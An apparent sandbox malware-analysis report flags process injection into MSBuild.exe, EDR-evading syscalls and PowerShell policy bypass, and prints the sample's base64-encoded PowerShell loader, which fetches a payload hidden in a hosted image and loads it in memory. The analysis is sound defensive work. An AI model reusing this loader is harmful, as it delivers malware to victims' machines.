Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B6962 mov eax, dword ptr fs:[00000030h]	9_2_013B6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B6962 mov eax, dword ptr fs:[00000030h]	9_2_013B6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0142892B mov eax, dword ptr fs:[00000030h]	9_2_0142892B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141892A mov eax, dword ptr fs:[00000030h]	9_2_0141892A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014269C0 mov eax, dword ptr fs:[00000030h]	9_2_014269C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013909AD mov eax, dword ptr fs:[00000030h]	9_2_013909AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013909AD mov eax, dword ptr fs:[00000030h]	9_2_013909AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145A9D3 mov eax, dword ptr fs:[00000030h]	9_2_0145A9D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0 mov eax, dword ptr fs:[00000030h]	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141E9E0 mov eax, dword ptr fs:[00000030h]	9_2_0141E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C29F9 mov eax, dword ptr fs:[00000030h]	9_2_013C29F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C29F9 mov eax, dword ptr fs:[00000030h]	9_2_013C29F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0139A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0139A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0139A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0139A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0139A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A9D0 mov eax, dword ptr fs:[00000030h]	9_2_0139A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C49D0 mov eax, dword ptr fs:[00000030h]	9_2_013C49D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014189B3 mov esi, dword ptr fs:[00000030h]	9_2_014189B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014189B3 mov eax, dword ptr fs:[00000030h]	9_2_014189B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014189B3 mov eax, dword ptr fs:[00000030h]	9_2_014189B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CA830 mov eax, dword ptr fs:[00000030h]	9_2_013CA830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B2835 mov eax, dword ptr fs:[00000030h]	9_2_013B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B2835 mov eax, dword ptr fs:[00000030h]	9_2_013B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B2835 mov eax, dword ptr fs:[00000030h]	9_2_013B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B2835 mov ecx, dword ptr fs:[00000030h]	9_2_013B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B2835 mov eax, dword ptr fs:[00000030h]	9_2_013B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B2835 mov eax, dword ptr fs:[00000030h]	9_2_013B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01426870 mov eax, dword ptr fs:[00000030h]	9_2_01426870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01426870 mov eax, dword ptr fs:[00000030h]	9_2_01426870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141E872 mov eax, dword ptr fs:[00000030h]	9_2_0141E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141E872 mov eax, dword ptr fs:[00000030h]	9_2_0141E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141C810 mov eax, dword ptr fs:[00000030h]	9_2_0141C810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01394859 mov eax, dword ptr fs:[00000030h]	9_2_01394859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01394859 mov eax, dword ptr fs:[00000030h]	9_2_01394859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C0854 mov eax, dword ptr fs:[00000030h]	9_2_013C0854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143483A mov eax, dword ptr fs:[00000030h]	9_2_0143483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143483A mov eax, dword ptr fs:[00000030h]	9_2_0143483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A2840 mov ecx, dword ptr fs:[00000030h]	9_2_013A2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014608C0 mov eax, dword ptr fs:[00000030h]	9_2_014608C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145A8E4 mov eax, dword ptr fs:[00000030h]	9_2_0145A8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01390887 mov eax, dword ptr fs:[00000030h]	9_2_01390887
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CC8F9 mov eax, dword ptr fs:[00000030h]	9_2_013CC8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CC8F9 mov eax, dword ptr fs:[00000030h]	9_2_013CC8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141C89D mov eax, dword ptr fs:[00000030h]	9_2_0141C89D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE8C0 mov eax, dword ptr fs:[00000030h]	9_2_013BE8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01438B42 mov eax, dword ptr fs:[00000030h]	9_2_01438B42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01426B40 mov eax, dword ptr fs:[00000030h]	9_2_01426B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01426B40 mov eax, dword ptr fs:[00000030h]	9_2_01426B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145AB40 mov eax, dword ptr fs:[00000030h]	9_2_0145AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01444B4B mov eax, dword ptr fs:[00000030h]	9_2_01444B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01444B4B mov eax, dword ptr fs:[00000030h]	9_2_01444B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01462B57 mov eax, dword ptr fs:[00000030h]	9_2_01462B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01462B57 mov eax, dword ptr fs:[00000030h]	9_2_01462B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01462B57 mov eax, dword ptr fs:[00000030h]	9_2_01462B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01462B57 mov eax, dword ptr fs:[00000030h]	9_2_01462B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143EB50 mov eax, dword ptr fs:[00000030h]	9_2_0143EB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BEB20 mov eax, dword ptr fs:[00000030h]	9_2_013BEB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BEB20 mov eax, dword ptr fs:[00000030h]	9_2_013BEB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138CB7E mov eax, dword ptr fs:[00000030h]	9_2_0138CB7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464B00 mov eax, dword ptr fs:[00000030h]	9_2_01464B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140EB1D mov eax, dword ptr fs:[00000030h]	9_2_0140EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140EB1D mov eax, dword ptr fs:[00000030h]	9_2_0140EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140EB1D mov eax, dword ptr fs:[00000030h]	9_2_0140EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140EB1D mov eax, dword ptr fs:[00000030h]	9_2_0140EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140EB1D mov eax, dword ptr fs:[00000030h]	9_2_0140EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140EB1D mov eax, dword ptr fs:[00000030h]	9_2_0140EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140EB1D mov eax, dword ptr fs:[00000030h]	9_2_0140EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140EB1D mov eax, dword ptr fs:[00000030h]	9_2_0140EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140EB1D mov eax, dword ptr fs:[00000030h]	9_2_0140EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01388B50 mov eax, dword ptr fs:[00000030h]	9_2_01388B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01458B28 mov eax, dword ptr fs:[00000030h]	9_2_01458B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01458B28 mov eax, dword ptr fs:[00000030h]	9_2_01458B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0BBE mov eax, dword ptr fs:[00000030h]	9_2_013A0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0BBE mov eax, dword ptr fs:[00000030h]	9_2_013A0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143EBD0 mov eax, dword ptr fs:[00000030h]	9_2_0143EBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141CBF0 mov eax, dword ptr fs:[00000030h]	9_2_0141CBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BEBFC mov eax, dword ptr fs:[00000030h]	9_2_013BEBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01398BF0 mov eax, dword ptr fs:[00000030h]	9_2_01398BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01398BF0 mov eax, dword ptr fs:[00000030h]	9_2_01398BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01398BF0 mov eax, dword ptr fs:[00000030h]	9_2_01398BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B0BCB mov eax, dword ptr fs:[00000030h]	9_2_013B0BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B0BCB mov eax, dword ptr fs:[00000030h]	9_2_013B0BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B0BCB mov eax, dword ptr fs:[00000030h]	9_2_013B0BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01390BCD mov eax, dword ptr fs:[00000030h]	9_2_01390BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01390BCD mov eax, dword ptr fs:[00000030h]	9_2_01390BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01390BCD mov eax, dword ptr fs:[00000030h]	9_2_01390BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01444BB0 mov eax, dword ptr fs:[00000030h]	9_2_01444BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01444BB0 mov eax, dword ptr fs:[00000030h]	9_2_01444BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B4A35 mov eax, dword ptr fs:[00000030h]	9_2_013B4A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B4A35 mov eax, dword ptr fs:[00000030h]	9_2_013B4A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BEA2E mov eax, dword ptr fs:[00000030h]	9_2_013BEA2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CCA24 mov eax, dword ptr fs:[00000030h]	9_2_013CCA24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143EA60 mov eax, dword ptr fs:[00000030h]	9_2_0143EA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140CA72 mov eax, dword ptr fs:[00000030h]	9_2_0140CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140CA72 mov eax, dword ptr fs:[00000030h]	9_2_0140CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141CA11 mov eax, dword ptr fs:[00000030h]	9_2_0141CA11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CCA6F mov eax, dword ptr fs:[00000030h]	9_2_013CCA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CCA6F mov eax, dword ptr fs:[00000030h]	9_2_013CCA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CCA6F mov eax, dword ptr fs:[00000030h]	9_2_013CCA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0A5B mov eax, dword ptr fs:[00000030h]	9_2_013A0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0A5B mov eax, dword ptr fs:[00000030h]	9_2_013A0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01396A50 mov eax, dword ptr fs:[00000030h]	9_2_01396A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01396A50 mov eax, dword ptr fs:[00000030h]	9_2_01396A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01396A50 mov eax, dword ptr fs:[00000030h]	9_2_01396A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01396A50 mov eax, dword ptr fs:[00000030h]	9_2_01396A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01396A50 mov eax, dword ptr fs:[00000030h]	9_2_01396A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01396A50 mov eax, dword ptr fs:[00000030h]	9_2_01396A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01396A50 mov eax, dword ptr fs:[00000030h]	9_2_01396A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01398AA0 mov eax, dword ptr fs:[00000030h]	9_2_01398AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01398AA0 mov eax, dword ptr fs:[00000030h]	9_2_01398AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013E6AA4 mov eax, dword ptr fs:[00000030h]	9_2_013E6AA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C8A90 mov edx, dword ptr fs:[00000030h]	9_2_013C8A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139EA80 mov eax, dword ptr fs:[00000030h]	9_2_0139EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139EA80 mov eax, dword ptr fs:[00000030h]	9_2_0139EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139EA80 mov eax, dword ptr fs:[00000030h]	9_2_0139EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139EA80 mov eax, dword ptr fs:[00000030h]	9_2_0139EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139EA80 mov eax, dword ptr fs:[00000030h]	9_2_0139EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139EA80 mov eax, dword ptr fs:[00000030h]	9_2_0139EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139EA80 mov eax, dword ptr fs:[00000030h]	9_2_0139EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139EA80 mov eax, dword ptr fs:[00000030h]	9_2_0139EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139EA80 mov eax, dword ptr fs:[00000030h]	9_2_0139EA80

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 192.186.57.30 80			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 104.21.84.67 443			Jump to behavior

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7616.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7616, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEw

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	NtSetContextThread: Indirect: 0x5193619	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	NtSuspendThread: Indirect: 0x5193939	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	NtQueueApcThread: Indirect: 0x518F39A	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	NtClose: Indirect: 0x518F425
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	NtResumeThread: Indirect: 0x5193C59	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

